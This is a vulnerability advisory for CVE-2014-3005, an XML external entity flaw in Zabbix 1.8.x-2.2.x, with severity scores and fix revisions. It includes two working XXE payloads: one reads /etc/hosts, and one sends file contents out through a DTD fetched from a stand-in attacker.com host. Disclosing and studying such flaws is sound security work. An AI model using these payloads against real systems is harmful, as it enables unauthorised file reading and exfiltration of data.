Zabbix 1.8.x-2.2.x Local File Inclusion via XXE Attack

2014.06.17

Credit: pnig0s

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-3005

CWE: CWE-611

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Product name:Zabbix
Description:Zabbix is an enterprise-class open source distributed monitoring solution for networks and applications.
Version affected:1.8.x-2.2.x
Type:XML External Entity Attack
Consequence:Arbitrary Local File Read&Potential RCE
Vulnerability Details:http://www.pnigos.com/?p=273
Fix Released:svn://svn.zabbix.com/branches/dev/ZBX-8151-18 r46594 for 1.8svn://svn.zabbix.com/branches/dev/ZBX-8151-20
r46600 for 2.0+
Bug was found by pnig0s @ FreeBuf.Com
==================================================
Best Regards,pnig0s
-----
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<zabbix_export>&file;</zabbix_export>
------
------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % dtd SYSTEM "http://attacker.com/ext.dtd">
%dtd;
%send;
]]>
<zabbix_export>
</zabbix_export>
-------

References:

http://www.pnigos.com/?p=273

http://seclists.org/fulldisclosure/2014/Jun/87

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Zabbix 1.8.x-2.2.x Local File Inclusion via XXE Attack

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.